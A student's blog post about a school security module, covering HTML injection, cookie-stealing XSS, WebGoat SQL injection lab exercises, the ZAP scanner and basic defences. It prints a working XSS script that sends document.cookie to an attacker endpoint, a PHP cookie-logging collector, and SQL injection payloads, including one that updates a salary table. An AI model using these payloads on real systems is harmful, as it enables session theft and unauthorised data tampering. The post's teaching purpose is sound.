Injections

Translated from German using DeepL.

Date: Mai 2022
Reading time: 6 minutes

At school, I am currently being taught module 183. We are dealing with application security.
As an application developer, you should know how to protect your software. To build up an understanding of this, it helps if you first know the attack methods. I will go into these in this blog post.

No action should be taken against third-party data, systems or people. Such "black hat" behavior would be punishable by law.

OWASP 5-level model

The "Open Web Application Security Project" (OWASP) was launched to improve the security of applications.
This community project created a table that divides web applications into the 6 vulnerable parts.

HTML Injection

If a form is not protected against attacks, HTML manipulation can be carried out. The attacker enters HTML tags in the form field. These tags are then not recognized and removed, but displayed on the page.

This form represents the user's input.

However, if a tag is also sent, the browser interprets it.

If only a title is embedded in the website, this is not a problem. However, a script tag with JavaScript can also be sent in this way. This can have dramatic consequences for.

Steal session ID

The attack surface described above can now be used to steal the user's session ID. To do this, send the following script to the form.

<script type="text/javascript">
    alert(document.cookie);
</script>

This represents the ID in the browser.

However, the question now arises as to how attackers obtain the identifier. After all, this script only displays the ID in the user's browser.

An attacker could launch an XSS (cross-site scripting) attack:

1. He sends the user an email containing a prepared link.
2. the victim clicks on the link.
3. the malicious code is executed on the corresponding page. The script could read the ID and send it to the attacker.
4. the attacker is in possession of the session ID and can impersonate the user.

XSS code example

A link can include the following script in the URL.

<script type="text/javascript">
    let XMLHTTP = new XMLHttpRequest();
    let url = 'http://localhost/attacker/attack.php?cookie=';
    XMLHTTP.open('GET', url.concat(document.cookie), true);
    XMLHTTP.send(null);
</script>

If it is clicked, it reads the cookie and sends it to the attacker's website.
On this website, the attacker can then read the request and extract the cookie.

<?php
if(isset($_GET['cookie'])) {
	$handle = fopen('sessions.txt', 'a');
	fwrite($handle, $_GET['cookie']);
	fclose($handle);
}
?>

Here, the cookie is written to a sessions.txt file.
The attacker is now in possession of the ID.

WebGoat

WebGoat offers lessons in which you learn how to attack applications.
I will show you the other examples using these lessons.

Setting up

To complete the lessons, I had to set up an environment.
Here I describe how I did this.

Server

You need a server on which OWASP WebGoat is running. This was provided to me by the school.

Client

The client must then be configured.

To connect to the server, the third byte of the IP and the default gateway must be set to the same as that of the server.
The firewall must also be deactivated for the attacks.

Start

Once you have configured the two VMs in this way, you can access the server IP via the client and start WebGoat from there.

Web Developer Plugin

To solve the tasks more easily, I recommend the Web Developer Plugin: http://www.chrispederick.com/work/web-developer/ This offers countless useful functions for attacks.

OWASP WebGoat lessons

Now you can tackle the tasks. I'll show you two interesting examples here.

Weather station

Initial situation

The weather station collects weather data. This data is stored in a database. The values of a station (Columbia/Seattle/New York/Houston) can be queried on the website.

However, there are only a few weather stations to choose from. However, it would be interesting to know what other data can be obtained.

Procedure

The first thing to check is whether something is sent in the URL when the form is sent. This is not the case here. This means that ‘POST’ is used.

With the Web Developer Plugin we have the possibility to convert this with "Convert From POSTs To GETs".
Now we can recognize the filled variables in the URL.

192.168.74.146/WebGoat/attack?station=101&SUBMIT=Go!

It can be seen that the station is retrieved via the ID. We can now add or 1=1 to this link. In this way, every station is taken into account in the SQL query.

192.168.74.134/WebGoat/attack?station=101 or 1=1&SUBMIT=Go!

As expected, we receive all the stations when we send them off. Even those that were previously hidden by us (Camp David and Ice Station Zebra).

Wages

Initial situation

Employees can display their wages using their user ID.
The aim is to increase the wage.

Procedure

First of all, you could check whether the form is insecure at all. You could try to display all wages.

This has worked. With a little SQL knowledge you can also change the salary.

userid=' or 'a'='a';UPDATE salaries SET SALARY = 45000 WHERE USERID = 'jsmith

The value has now been increased from 20'000 to 45'000. To check this, you can run the previous query again.

ZAP

It is not always easy to find the weak points manually. This is why ZAP exists. ZAP is a tool for scans. The software goes between the browser and the web application and searches for vulnerabilities.

There are different types of scans. For example, the tool can "spider" a page. This is a process in which queries all pages and analyzes the requests and responses. If something negative is detected, the application reports this.

ZAP is also useful for setting breakpoints and thus changing the values continuously.

Measures

I have now provided an overview of security problems. However, as an application developer it is also important to know how to protect software.

Developers

As a developer, you should always use ‘POST’. However, you must also be aware that this alone is not enough. A POST request can be converted into a GET in less than a second.

The most important thing is to validate in the backend. Frontend validation is great for the user. However, it is also possible to submit a request without a form.
It is therefore essential to validate and format the POST in the backend as well.

htmlspecialchars($userInput);

Under no circumstances should you form and send an SQL statement directly from an input. This puts the entire database at risk.

But there are other things you can pay attention to.

• It is almost mandatory that a website is SSL-encrypted.
• The components used should not have any vulnerabilities and should always be updated.
• The web application should be extensively tested before publication.
• To prevent brute force attacks, there should be a maximum number of login attempts.
• Error messages must not reveal any vulnerabilities to the attacker.
• For some applications, 2-factor authentication makes sense.

Conclusion

Previously I did not know that injections are so easy to carry out. That's why you have to make sure that you secure PHP pages in particular. Sometimes you also have to weigh up usability and security. To deliver a good UX, the application should be quickly accessible and should provide accurate feedback when actions fail. From a security perspective, however, you want to protect the software with a 2FA and only provide the user with as little information as necessary.

I find this module quite interesting so far.